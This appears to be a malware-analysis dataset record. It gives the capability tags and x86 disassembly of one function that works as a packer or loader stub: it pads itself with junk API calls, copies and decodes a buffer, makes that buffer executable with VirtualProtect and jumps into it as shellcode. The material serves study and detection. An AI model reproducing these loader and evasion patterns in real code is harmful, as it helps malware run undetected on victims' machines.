Function at 0x40288f
Capabilities:
Allocate or change rwx memory
Delete registry key
Execute shellcode via indirect call
Get common file path
Get file attributes
Get thread local storage value
Set file attributes
Start service

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x16e8
call fcn.00416ff0
mov eax, dword [0x42635c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x4363f0
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp eax, 0x7e3a5
jne 0x4029fd
push 0x4e38968
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 0x7544
jne 0x4029fd
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push 0
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
call dword [sym.imp.ADVAPI32.dll_GetSidLengthRequired]
push 0
call dword [sym.imp.KERNEL32.DLL_IsValidCodePage]
push 0
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x1540]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
and dword [ebp - 0x16b8], 0
xor eax, eax
lea edi, [ebp - 0x16b4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x16b8]
push eax
push 0
call dword [sym.imp.USER32.dll_GetIconInfo]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefDlgProcA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_mouse_event]
lea eax, [ebp - 0x16e8]
push eax
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
cmp dword [0x4e41278], 0x8ce
jne 0x4029c8
push 0
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
and dword [ebp - 0x1698], 0
push 0
push 0
push 0
lea eax, [ebp - 0x1698]
push eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ConvertToAutoInheritPrivateObjectSecurity]
cmp dword [0x4e41278], 0xf17
jne 0x4029e5
mov dword [0x4e38948], 0x98cc328a
or dword [0x4e3894c], 0xffffffff
push str.__s__d__f
call fcn.00405afc
pop ecx
movsd xmm0, qword [0x4229b0]
call fcn.004010d0
and dword [ebp - 0x168c], 0
jmp 0x402a13
mov eax, dword [ebp - 0x168c]
inc eax
mov dword [ebp - 0x168c], eax
cmp dword [ebp - 0x168c], 0x5cf7764
jge 0x402a91
lea eax, [ebp - 0x142c]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoA]
cmp dword [ebp - 0x168c], 0x1088be2
jle 0x402a8c
cmp dword [ebp - 0x140c], 0x6dd4b9c0
je 0x402a8c
cmp dword [0x4e41278], 0xe04
jne 0x402a8a
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SleepEx]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSaveKeyW]
lea eax, [ebp - 0x16a4]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetCommModemStatus]
push 0
lea eax, [ebp - 0x1004]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
jmp 0x402a91
jmp 0x402a06
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x428eec]
mov dword [0x4e41278], eax
mov eax, dword [0x4e41278]
add eax, 0x39e26
mov dword [0x4e41278], eax
push dword [0x4e41278]
push 0
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [0x4e3633c], eax
and dword [ebp - 0x1694], 0
jmp 0x402ada
mov eax, dword [ebp - 0x1694]
inc eax
mov dword [ebp - 0x1694], eax
cmp dword [ebp - 0x1694], 0x18ae2e
jge 0x402b05
cmp dword [ebp - 0x1694], 0x2f8db
jne 0x402b03
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x428ee0]
mov dword [0x4e4127c], eax
jmp 0x402acd
and dword [ebp - 0x1684], 0
jmp 0x402b1b
mov eax, dword [ebp - 0x1684]
inc eax
mov dword [ebp - 0x1684], eax
mov eax, dword [ebp - 0x1684]
cmp eax, dword [0x4e41278]
jae 0x402bd0
and dword [0x4e38964], 0
cmp dword [0x4e41278], 0xa10
jne 0x402b79
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_SetTimerQueueTimer]
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStructW]
push 0
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, dword [0x4e3633c]
add eax, dword [ebp - 0x1684]
mov ecx, dword [0x4e4127c]
add ecx, dword [ebp - 0x1684]
mov cl, byte [ecx + 0x39e26]
mov byte [eax], cl
cmp dword [0x4e41278], 0x18a
jne 0x402bc4
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateSemaphoreA]
and dword [0x4e38960], 0
jmp 0x402b0e
mov edx, 0x4e41278
mov ecx, 0x4e3633c
call fcn.00401fd4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [0x4e3895c], eax
and dword [ebp - 0x1690], 0
jmp 0x402c05
mov eax, dword [ebp - 0x1690]
inc eax
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0x2bb43
jge 0x402c48
cmp dword [0x4e41278], 0x61
jne 0x402c32
push dword [ebp - 0x16a0]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessVersion]
cmp dword [0x4e41278], 0xc85
jne 0x402c46
push 0
call dword [sym.imp.KERNEL32.DLL_SetConsoleCP]
jmp 0x402bf8
lea eax, [ebp - 0x169c]
push eax
push 0x40
push dword [0x4e41278]
push dword [0x4e3633c]
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push 0x4275b0
mov edx, dword [0x4e41278]
mov ecx, dword [0x4e3633c]
call fcn.00402767
add dword [0x4e3633c], 0xe24
and dword [ebp - 0x1688], 0
jmp 0x402c99
mov eax, dword [ebp - 0x1688]
inc eax
mov dword [ebp - 0x1688], eax
cmp dword [ebp - 0x1688], 0x47c92a
jge 0x402cd4
cmp dword [ebp - 0x1688], 0x13a4f2
jne 0x402cb7
jmp dword [0x4e3633c]
cmp dword [0x4e41278], 0xc30
jne 0x402cd2
lea eax, [ebp - 0x1680]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
jmp 0x402c8c
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040526a
mov esp, ebp
pop ebp
ret